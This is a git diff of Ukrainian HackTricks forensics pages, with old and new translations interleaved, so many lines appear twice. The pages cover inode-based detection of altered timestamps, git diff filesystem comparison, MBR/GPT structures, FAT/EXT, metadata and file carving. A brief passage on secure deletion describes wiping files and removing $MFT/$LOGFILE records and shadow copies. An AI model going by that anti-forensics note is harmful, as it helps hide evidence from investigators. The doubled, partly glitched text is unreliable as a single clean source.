Зверніть увагу, що **зловмисник** може **змінити** **час**, щоб файли виглядали **легітимними**, але він **не може** змінити **інод**. Якщо ви помітили, що **файл** вказує на те, що він був створений і змінений у **один і той же час**, що й решта файлів у тій самій папці, але **інод** **неочікувано більший**, то **часи змінені** для цього файлу.
Зверніть увагу, що **зловмисник** може **змінити** **час**, щоб **файли виглядали** **легітимними**, але він **не може** змінити **inode**. Якщо ви виявите, що **файл** вказує на те, що він був створений і змінений в **один і той же час** з іншими файлами в тій же папці, але **inode** є **неочікувано більшим**, то **часові мітки цього файлу були змінені**.
{% endhint %}
## Порівняння файлів різних версій файлової системи
### Зведення порівняння версій файлової системи
### Резюме порівняння версій файлової системи
Для порівняння версій файлової системи та визначення змін використовуємо спрощені команди `git diff`:
Щоб порівняти версії файлової системи та виявити зміни, ми використовуємо спрощені команди `git diff`:
* **Для пошуку нових файлів** порівняйте дві теки:
* **Щоб знайти нові файли**, порівняйте дві директорії:
```bash
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
```
* **Для зміненого вмісту**, перерахуйте зміни, ігноруючи конкретні рядки:
* **Для зміненого контенту**, перерахувати зміни, ігноруючи конкретні рядки:
```bash
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
```
* **Для виявлення видалених файлів**:
* **Щоб виявити видалені файли**:
```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
```
* **Опції фільтрації** (`--diff-filter`) допомагають звузити вибір до конкретних змін, таких як додані (`A`), видалені (`D`) або змінені (`M`) файли.
* **Опції фільтрації** (`--diff-filter`) допомагають звузити до конкретних змін, таких як додані (`A`), видалені (`D`) або змінені (`M`) файли.
* `A`: Додані файли
* `C`: Скопійовані файли
* `D`: Видалені файли
* `M`: Змінені файли
* `R`: Перейменовані файли
* `T`: Зміни типу (наприклад, файл на символьне посилання)
* `U`: Несполучені файли
* `T`: Зміни типу (наприклад, файл на символічне посилання)
* `U`: Невирішені файли
* `X`: Невідомі файли
* `B`: Пошкоджені файли
@ -412,4 +413,26 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
* [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf)
* [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
* **Книга: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
* **Книга: Посібник з комп'ютерної криміналістики для Linux-систем: Посібники з цифрової криміналістики**
<details>
<summary><strong>Вивчайте AWS hacking з нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ви працюєте в **компанії з кібербезпеки**? Хочете, щоб вашу **компанію рекламували в HackTricks**? Або хочете отримати доступ до **останній версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційні товари PEASS & HackTricks**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною в **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
**Діліться своїми хакерськими трюками, надсилаючи PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **та** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), щоб легко створювати та **автоматизувати робочі процеси**, що працюють на основі **найсучасніших** інструментів спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -1,67 +1,68 @@
# Розділи/Файлові системи/Видобування
# Partitions/File Systems/Carving
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв GitHub**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Розділи
## Partitions
Жорсткий диск або **SSD-диск може містити різні розділи** з метою фізичного розділення даних.\
Мінімальна одиниця диска - **сектор** (зазвичай складається з 512 байтів). Таким чином, розмір кожного розділу повинен бути кратним цьому розміру.
Жорсткий диск або **SSD диск можуть містити різні розділи** з метою фізичного розділення даних.\
**Мінімальна** одиниця диска - це **сектор** (зазвичай складається з 512B). Отже, розмір кожного розділу повинен бути кратним цьому розміру.
### MBR (master Boot Record)
Він розміщений в **першому секторі диска після 446 байтів завантажувального коду**. Цей сектор є важливим для вказівки ПК, що і звідки потрібно монтувати розділ.\
Він дозволяє до **4 розділів** (максимум **лише 1** може бути активним/**завантажувальним**). Однак, якщо вам потрібно більше розділів, ви можете використовувати **розширені розділи**. Останній байт цього першого сектора - це підпис завантажувального запису **0x55AA**. Тільки один розділ може бути позначений як активний.\
MBR дозволяє **максимум 2,2 ТБ**.
Він розміщується в **першому секторі диска після 446B завантажувального коду**. Цей сектор є важливим для вказівки ПК, що і звідки має бути змонтовано.\
Він дозволяє до **4 розділів** (максимум **лише 1** може бути активним/**завантажувальним**). Однак, якщо вам потрібно більше розділів, ви можете використовувати **розширені розділи**. **Останній байт** цього першого сектора - це підпис завантаження **0x55AA**. Лише один розділ може бути позначений як активний.\
MBR дозволяє **макс 2.2TB**.
![](<../../../.gitbook/assets/image (489).png>)
![](<../../../.gitbook/assets/image (490).png>)
З **байтів 440 по 443** MBR ви можете знайти **Windows Disk Signature** (якщо використовується Windows). Логічна літера диска жорсткого диска залежить від Windows Disk Signature. Зміна цього підпису може запобігти завантаженню Windows (інструмент: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
З **байтів 440 до 443** MBR ви можете знайти **Windows Disk Signature** (якщо використовується Windows). Логічна буква диска жорсткого диска залежить від Windows Disk Signature. Зміна цього підпису може завадити Windows завантажитися (інструмент: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
![](<../../../.gitbook/assets/image (493).png>)
**Формат**
**Format**
| Зсув | Довжина | Елемент |
| Offset | Length | Item |
| ----------- | ---------- | ------------------- |
| 0 (0x00) | 446(0x1BE) | Код завантаження |
| 0 (0x00) | 446(0x1BE) | Завантажувальний код |
| 446 (0x1BE) | 16 (0x10) | Перший розділ |
| 462 (0x1CE) | 16 (0x10) | Другий розділ |
| 462 (0x1CE) | 16 (0x10) | Другий розділ |
| 478 (0x1DE) | 16 (0x10) | Третій розділ |
| 494 (0x1EE) | 16 (0x10) | Четвертий розділ |
| 510 (0x1FE) | 2 (0x2) | Підпис 0x55 0xAA |
| 510 (0x1FE) | 2 (0x2) | Підпис 0x55 0xAA |
**Формат запису розділу**
**Partition Record Format**
| Зсув | Довжина | Елемент |
| --------- | -------- | --------------------------------------------------------- |
| 0 (0x00) | 1 (0x01) | Прапорець активності (0x80 = завантажувальний) |
| 1 (0x01) | 1 (0x01) | Початкова головка |
| 2 (0x02) | 1 (0x01) | Початковий сектор (біти 0-5); старші біти циліндра (6- 7) |
| 3 (0x03) | 1 (0x01) | Найменші 8 бітів циліндра початку |
| 4 (0x04) | 1 (0x01) | Код типу розділу (0x83 = Linux) |
| 5 (0x05) | 1 (0x01) | Кінцева головка |
| 6 (0x06) | 1 (0x01) | Кінцевий сектор (біти 0-5); старші біти циліндра (6- 7) |
| 7 (0x07) | 1 (0x01) | Найменші 8 бітів циліндра кінця |
| 8 (0x08) | 4 (0x04) | Сектори перед розділом (літтл-ендіан) |
| 12 (0x0C) | 4 (0x04) | Сектори у розділі |
| Offset | Length | Item |
| --------- | -------- | ------------------------------------------------------ |
| 0 (0x00) | 1 (0x01) | Активний прапор (0x80 = завантажувальний) |
| 1 (0x01) | 1 (0x01) | Початкова голівка |
| 2 (0x02) | 1 (0x01) | Початковий сектор (біти 0-5); верхні біти циліндра (6- 7) |
| 3 (0x03) | 1 (0x01) | Найнижчі 8 біт початкового циліндра |
| 4 (0x04) | 1 (0x01) | Код типу розділу (0x83 = Linux) |
| 5 (0x05) | 1 (0x01) | Кінцева голівка |
| 6 (0x06) | 1 (0x01) | Кінцевий сектор (біти 0-5); верхні біти циліндра (6- 7) |
| 7 (0x07) | 1 (0x01) | Найнижчі 8 біт кінцевого циліндра |
| 8 (0x08) | 4 (0x04) | Сектори перед розділом (little endian) |
| 12 (0x0C) | 4 (0x04) | Сектори в розділі |
Для монтування MBR в Linux спочатку потрібно отримати початковий зсув (можна використовувати `fdisk` та команду `p`)
Щоб змонтувати MBR в Linux, спочатку потрібно отримати початковий зсув (ви можете використовувати `fdisk` і команду `p`)
![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
А потім використовуйте наступний код
```bash
@ -70,26 +71,26 @@ mount -o ro,loop,offset=<Bytes>
#63x512 = 32256Bytes
mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
```
**LBA (Logical block addressing)**
**LBA (Логічне блочне адресування)**
**Логічна адресація блоків** (**LBA**) - це загальна схема, яка використовується для **вказівки місця розташування блоків** даних, збережених на пристроях комп'ютерного сховища, зазвичай на системах вторинного сховища, таких як жорсткі диски. LBA - це особлива проста лінійна схема адресації; **блоки розташовуються за допомогою цілочисельного індексу**, при цьому перший блок має LBA 0, другий - LBA 1 і так далі.
**Логічне блочне адресування** (**LBA**) є поширеною схемою, що використовується для **вказування місця розташування блоків** даних, збережених на комп'ютерних носіях, зазвичай на вторинних системах зберігання, таких як жорсткі диски. LBA є особливо простим лінійним адресним методом; **блоки розташовані за цілим індексом**, при цьому перший блок має LBA 0, другий LBA 1 і так далі.
### GPT (GUID Partition Table)
### GPT (GUID Таблиця Розділів)
GUID Partition Table, відома як GPT, відзначається своїми покращеними можливостями порівняно з MBR (Master Boot Record). Відзначається своїм **глобально унікальним ідентифікатором** для розділів, GPT виділяється кількома способами:
GUID Таблиця Розділів, відома як GPT, віддається перевага за її розширені можливості в порівнянні з MBR (Основний Завантажувальний Запис). Вона відрізняється своїм **глобально унікальним ідентифікатором** для розділів, GPT виділяється кількома способами:
* **Місце та розмір**: Як GPT, так і MBR починаються з **сектора 0**. Однак GPT працює на **64 бітах**, що відрізняється від 32 біт MBR.
* **Обмеження розділів**: GPT підтримує до **128 розділів** на системах Windows та може вміщати до **9,4ZB** даних.
* **Назви розділів**: Надає можливість називати розділи до 36 символів Unicode.
* **Місцезнаходження та Розмір**: Як GPT, так і MBR починаються з **сектора 0**. Однак GPT працює на **64 бітах**, на відміну від 32 біт MBR.
* **Обмеження Розділів**: GPT підтримує до **128 розділів** на системах Windows і може вміщувати до **9.4ZB** даних.
* **Назви Розділів**: Пропонує можливість називати розділи до 36 символів Unicode.
**Стійкість та відновлення даних**:
**Стійкість Даних та Відновлення**:
* **Резервне копіювання**: На відміну від MBR, GPT не обмежує розділення та дані завантаження в одне місце. Він реплікує ці дані по диску, підвищуючи цілісність та стійкість даних.
* **Циклічна перевірка на відповідність (CRC)**: GPT використовує CRC для забезпечення цілісності даних. Він активно контролює корупцію даних, і коли виявляється, GPT намагається відновити пошкоджені дані з іншого місця на диску.
* **Резервування**: На відміну від MBR, GPT не обмежує дані про розділи та завантаження в одному місці. Вона реплікує ці дані по всьому диску, підвищуючи цілісність даних та стійкість.
* **Циклічна Контрольна Сума (CRC)**: GPT використовує CRC для забезпечення цілісності даних. Вона активно контролює наявність пошкоджень даних, і при виявленні GPT намагається відновити пошкоджені дані з іншого місця на диску.
**Захисний MBR (LBA0)**:
* GPT забезпечує сумісність з попередніми версіями через захисний MBR. Ця функція розташована в просторі спадщини MBR, але призначена для запобігання помилковому перезаписуванню даних на дисках, відформатованих у форматі GPT, захищаючи тим самим цілісність даних на дисках у форматі GPT.
* GPT підтримує зворотну сумісність через захисний MBR. Ця функція розташована в простору спадкового MBR, але призначена для запобігання випадковому перезапису дисків GPT старими утилітами на основі MBR, тим самим захищаючи цілісність даних на дисках формату GPT.
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (491).png>)
@ -97,58 +98,59 @@ GUID Partition Table, відома як GPT, відзначається свої
[З Вікіпедії](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
У операційних системах, які підтримують **завантаження на основі GPT через послуги BIOS** замість EFI, перший сектор також може використовуватися для зберігання першого етапу коду **завантажувача**, але **змінений** для визнання **розділів GPT**. Завантажувач у MBR не повинен припускати розмір сектора 512 байтів.
В операційних системах, які підтримують **завантаження на основі GPT через BIOS** замість EFI, перший сектор також може використовуватися для зберігання першої стадії коду **завантажувача**, але **модифікований** для розпізнавання **GPT** **розділів**. Завантажувач у MBR не повинен припускати розмір сектора 512 байт.
**Заголовок таблиці розділів (LBA 1)**
[З Вікіпедії](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
Заголовок таблиці розділів визначає використовувані блоки на диску. Він також визначає кількість та розмір записів розділів, які складають таблицю розділів (зміщення 80 та 84 у таблиці).
Заголовок таблиці розділів визначає використовувані блоки на диску. Він також визначає кількість і розмір записів розділів, які складають таблицю розділів (зсуви 80 і 84 в таблиці).
| Зміщення | Довжина | Вміст |
| --------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0 (0x00) | 8 байтів | Підпис ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h або 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)на машинах little-endian) |
| 8 (0x08) | 4 байти | Ревізія 1.0 (00h 00h 01h 00h) для UEFI 2.8 |
| 12 (0x0C) | 4 байти | Розмір заголовка в little-endian (в байтах, зазвичай 5Ch 00h 00h 00h або 92 байти) |
| 16 (0x10) | 4 байти | [CRC32](https://en.wikipedia.org/wiki/CRC32) заголовка (зміщення +0 до розміру заголовка) в little-endian, з цим полем, яке обнуляється під час обчислення |
| 20 (0x14) | 4 байти | Зарезервовано; повинно бути нулем |
| 24 (0x18) | 8 байтів | Поточний LBA (розташування цього копію заголовка) |
| 32 (0x20) | 8 байтів | Резервне LBA (розташування іншого копію заголовка) |
| 40 (0x28) | 8 байтів | Перший використовуваний LBA для розділів (останній LBA основної таблиці розділів + 1) |
| 48 (0x30) | 8 байтів | Останній використовуваний LBA (перший LBA вторинної таблиці розділів 1) |
| 56 (0x38) | 16 байтів | GUID диска в змішаному порядку байтів |
| 72 (0x48) | 8 байтів | Початковий LBA масиву записів розділів (завжди 2 в основній копії) |
| Зсув | Довжина | Зміст |
| --------- | -------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0 (0x00) | 8 байт | Підпис ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h або 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)на машинах з малим порядком байтів) |
| 8 (0x08) | 4 байти | Версія 1.0 (00h 00h 01h 00h) для UEFI 2.8 |
| 12 (0x0C) | 4 байти | Розмір заголовка в малому порядку (в байтах, зазвичай 5Ch 00h 00h 00h або 92 байти) |
| 16 (0x10) | 4 байти | [CRC32](https://en.wikipedia.org/wiki/CRC32) заголовка (зсув +0 до розміру заголовка) в малому порядку, з цим полем, обнуленим під час обчислення |
| 20 (0x14) | 4 байти | Зарезервовано; має бути нулем |
| 24 (0x18) | 8 байт | Поточний LBA (місцезнаходження цієї копії заголовка) |
| 32 (0x20) | 8 байт | Резервний LBA (місцезнаходження іншої копії заголовка) |
| 40 (0x28) | 8 байт | Перший використовуваний LBA для розділів (остання LBA основної таблиці розділів + 1) |
| 48 (0x30) | 8 байт | Останній використовуваний LBA (перша LBA вторинної таблиці розділів 1) |
| 56 (0x38) | 16 байт | GUID диска в змішаному порядку |
| 72 (0x48) | 8 байт | Початковий LBA масиву записів розділів (завжди 2 в основній копії) |
| 80 (0x50) | 4 байти | Кількість записів розділів у масиві |
| 84 (0x54) | 4 байти | Розмір одного запису розділу (зазвичай 80h або 128) |
| 88 (0x58) | 4 байти | CRC32 масиву записів розділів в little-endian |
| 92 (0x5C) | \* | Зарезервовано; повинно бути нулями для решти блоку (420 байтів для розміру сектора 512 байтів; але може бути більше з більшими розмірами секторів) |
| 88 (0x58) | 4 байти | CRC32 масиву записів розділів в малому порядку |
| 92 (0x5C) | \* | Зарезервовано; має бути нулями для решти блоку (420 байт для розміру сектора 512 байт; але може бути більше з більшими розмірами секторів) |
**Записи розділів (LBA 233)**
| Формат запису розділу GUID | | |
| --------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- |
| Зміщення | Довжина | Вміст |
| 0 (0x00) | 16 байтів | [GUID типу розділу](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (змішаний порядок байтів) |
| 16 (0x10) | 16 байтів | Унікальний GUID розділу (змішаний порядок байтів) |
| 32 (0x20) | 8 байтів | Перший LBA ([little endian](https://en.wikipedia.org/wiki/Little\_endian)) |
| 40 (0x28) | 8 байтів | Останній LBA (включно, зазвичай непарний) |
| 48 (0x30) | 8 байтів | Прапори атрибутів (наприклад, біт 60 вказує на те, що режим лише для читання) |
| 56 (0x38) | 72 байти | Назва розділу (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE кодові одиниці) |
| Зсув | Довжина | Зміст |
| 0 (0x00) | 16 байт | [GUID типу розділу](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (змішаний порядок) |
| 16 (0x10) | 16 байт | Унікальний GUID розділу (змішаний порядок) |
| 32 (0x20) | 8 байт | Перший LBA ([малий порядок](https://en.wikipedia.org/wiki/Little\_endian)) |
| 40 (0x28) | 8 байт | Останній LBA (включно, зазвичай непарний) |
| 48 (0x30) | 8 байт | Атрибути (наприклад, біт 60 позначає тільки для читання) |
| 56 (0x38) | 72 байти | Назва розділу (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE кодових одиниць) |
**Типи розділів**
**Типи Розділів**
![](<../../../.gitbook/assets/image (492).png>)
Більше типів розділів за посиланням [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
Більше типів розділів на [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
### Інспектування
### Інспекція
Після монтування образу для форензіки за допомогою [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), ви можете оглянути перший сектор за допомогою інструменту Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** На наступному зображенні було виявлено **MBR** на **секторі 0** та інтерпретовано:
Після монтування образу дляensics за допомогою [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), ви можете перевірити перший сектор за допомогою інструменту Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** На наступному зображенні було виявлено **MBR** на **секторі 0** та інтерпретовано:
![](<../../../.gitbook/assets/image (494).png>)
Якщо це була **таблиця GPT замість MBR**, у секторі 1 повинен був з'явитися підпис _EFI PART_ (який на попередньому зображенні порожній).
## Файлові системи
Якщо це була **таблиця GPT замість MBR**, вона повинна з'явитися з підписом _EFI PART_ у **секторі 1** (який на попередньому зображенні порожній).
## Файлові Системи
### Список файлових систем Windows
@ -160,79 +162,79 @@ GUID Partition Table, відома як GPT, відзначається свої
### FAT
Файлова система **FAT (File Allocation Table)** розроблена навколо свого основного компонента - таблиці розподілу файлів, розташованої на початку тома. Ця система захищає дані, зберігаючи **два копії** таблиці, забезпечуючи цілісність даних навіть у випадку пошкодження однієї з них. Таблиця, разом з кореневою текою, повинна бути в **фіксованому місці**, що є важливим для процесу завантаження системи.
Файлова система **FAT (Таблиця Розподілу Файлів)** спроектована навколо свого основного компонента, таблиці розподілу файлів, розташованої на початку тому. Ця система захищає дані, зберігаючи **дві копії** таблиці, забезпечуючи цілісність даних, навіть якщо одна з них пошкоджена. Таблиця, разом з кореневою папкою, повинна бути в **фіксованому місці**, що є критично важливим для процесу запуску системи.
Основною одиницею зберігання файлової системи є **кластер, зазвичай 512 байтів**, який складається з кількох секторів. FAT розвивалася через версії:
Основною одиницею зберігання файлової системи є **кластер, зазвичай 512B**, що складається з кількох секторів. FAT еволюціонувала через версії:
* **FAT12**, яка підтримує адреси кластерів 12 бітів і обробляє до 4078 кластерів (4084 з UNIX).
* **FAT16**, що покращується до адрес 16 бітів, тим самим розміщуючи до 65 517 кластерів.
* **FAT32**, що подальше розвивається з адресами 32 бітів, дозволяючи вражаючі 268 435 456 кластерів на том.
* **FAT12**, що підтримує 12-бітні адреси кластерів і обробляє до 4078 кластерів (4084 з UNIX).
* **FAT16**, що покращує до 16-бітних адрес, тим самим вміщуючи до 65,517 кластерів.
* **FAT32**, що далі розвивається з 32-бітними адресами, дозволяючи вражаючі 268,435,456 кластерів на том.
Значним обмеженням у всіх версіях FAT є **максимальний розмір файлу 4 ГБ**, який накладається 32-бітним полем, використованим для зберігання розміру файлу.
Значним обмеженням для всіх версій FAT є **максимальний розмір файлу 4 ГБ**, накладений 32-бітним полем, що використовується для зберігання розміру файлу.
Ключові компоненти коренового каталогу, особливо для FAT12 та FAT16, включають:
Ключові компоненти кореневої директорії, особливо для FAT12 і FAT16, включають:
* **Ім'я файлу/папки** (до 8 символів)
* **Ім'я Файлу/Папки** (до 8 символів)
* **Атрибути**
* **Дата створення, модифікації та останнього доступу**
* **Адреса таблиці FAT** (вказує початковий кластер файлу)
* **Розмір файлу**
* **Дати створення, модифікації та останнього доступу**
* **Адреса FAT таблиці** (що вказує на початковий кластер файлу)
* **Розмір Файлу**
### EXT
**Ext2** є найпоширенішою файловою системою для **неведення журналу** розділів (**розділів, які мало змінюються**), наприклад, розділ завантаження. **Ext3/4** є **журналюванням** і зазвичай використовуються для **решти розділів**.
**Ext2** є найпоширенішою файловою системою для **нежурнальних** розділів (**розділів, які не змінюються часто**), таких як розділ завантаження. **Ext3/4** є **журнальними** і зазвичай використовуються для **інших розділів**.
## **Метадані**
Деякі файли містять метадані. Ця інформація стосується вмісту файлу, яка іноді може бути цікавою для аналітика, оскільки в залежності від типу файлу вона може містити інформацію, таку як:
Деякі файли містять метадані. Ця інформація стосується вмісту файлу, що іноді може бути цікаво аналітику, оскільки в залежності від типу файлу, вона може містити інформацію, таку як:
* Назва
* Версія MS Office, яка використовувалася
* Заголовок
* Версія MS Office, що використовується
* Автор
* Дати створення та останньої модифікації
* Модель камери
* GPS-координати
* GPS координати
* Інформація про зображення
Ви можете використовувати інструменти, такі як [**exiftool**](https://exiftool.org) та [**Metadiver**](https://www.easymetadata.com/metadiver-2/), щоб отримати метадані файлу.
## **Відновлення видалених файлів**
## **Відновлення Видалених Файлів**
### Зареєстровані видалені файли
### Логічно Видалені Файли
Як було показано раніше, існують кілька місць, де файл все ще зберігається після того, як він був "видалений". Це тому, що зазвичай видалення файлу з файлової системи просто позначає його як видалений, але дані не торкаються. Потім можна перевірити реєстри файлів (наприклад, MFT) та знайти видалені файли.
Як було зазначено раніше, існує кілька місць, де файл все ще зберігається після того, як він був "видалений". Це тому, що зазвичай видалення файлу з файлової системи просто позначає його як видалений, але дані не торкаються. Тоді можливо перевірити реєстри файлів (такі як MFT) і знайти видалені файли.
Крім того, ОС зазвичай зберігає багато інформації про зміни файлової системи та резервні копії, тому можна спробувати використати їх для відновлення файлу або якомога більше інформації.
Крім того, ОС зазвичай зберігає багато інформації про зміни файлової системи та резервні копії, тому можливо спробувати використовувати їх для відновлення файлу або якомога більшої кількості інформації.
{% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %}
### **Вирізання файлів**
### **Файлове Вирізання**
**Вирізання файлів** - це техніка, яка намагається **знайти файли в масі даних**. Існують 3 основні способи роботи інструментів, як це працює: **На основі заголовків та кінцівок файлів**, на основі **структур типів файлів** та на основі **вмісту** самого файлу.
**Файлове вирізання** є технікою, яка намагається **знайти файли в масиві даних**. Існує 3 основні способи, якими працюють такі інструменти: **На основі заголовків і футерів типів файлів**, на основі **структур** типів файлів і на основі **вмісту** самого файлу.
Зверніть увагу, що ця техніка **не працює для відновлення фрагментованих файлів**. Якщо файл **не зберігається в сусідніх секторах**, то ця техніка не зможе знайти його або принаймні його частину.
Зверніть увагу, що ця техніка **не працює для відновлення фрагментованих файлів**. Якщо файл **не зберігається в сусідніх секторах**, тоді ця техніка не зможе його знайти або, принаймні, частину його.
Існує кілька інструментів, які можна використовувати для вирізання файлів, вказуючи типи файлів, які ви хочете знайти
Існує кілька інструментів, які ви можете використовувати для файлового вирізання, вказуючи типи файлів, які ви хочете шукати.
{% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %}
### Вирізання потоку даних
### Вирізання Потоку Даних **C**
Вирізання потоку даних схоже на вирізання файлів, але **замість пошуку повних файлів воно шукає цікаві фрагменти** інформації.\
Наприклад, замість пошуку повного файлу, що містить зареєстровані URL-адреси, ця техніка буде шукати URL-адреси.
Вирізання потоку даних подібне до файлового вирізання, але **замість того, щоб шукати повні файли, воно шукає цікаві фрагменти** інформації.\
Наприклад, замість того, щоб шукати повний файл, що містить зафіксовані URL-адреси, ця техніка шукатиме URL-адреси.
{% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %}
### Безпечне видалення
### Безпечне Видалення
Очевидно, існують способи **"безпечного" видалення файлів та частин журналів про них**. Наприклад, можливо **перезаписати вміст** файлу непотрібними даними кілька разів, а потім **видалити** **журнали** з **$MFT** та **$LOGFILE** про файл, і **видалити тіньові копії томів**.\
Варто зауважити, що навіть виконуючи цю дію, можуть бути **інші частини, де існує інформація про наявність файлу**, і це правда, і частиною роботи професіонала з форензики є їх пошук.
Очевидно, що існують способи **"надійно" видалити файли та частину журналів про них**. Наприклад, можливо **перезаписати вміст** файлу сміттєвими даними кілька разів, а потім **видалити** **журнали** з **$MFT** та **$LOGFILE** про файл, а також **видалити Копії Тіней Томів**.\
Ви можете помітити, що навіть виконуючи цю дію, можуть бути **інші частини, де існування файлу все ще зафіксовано**, і це правда, і частина роботи фахівця з судової експертизи полягає в тому, щоб їх знайти.
## Посилання
@ -240,4 +242,19 @@ GUID Partition Table, відома як GPT, відзначається свої
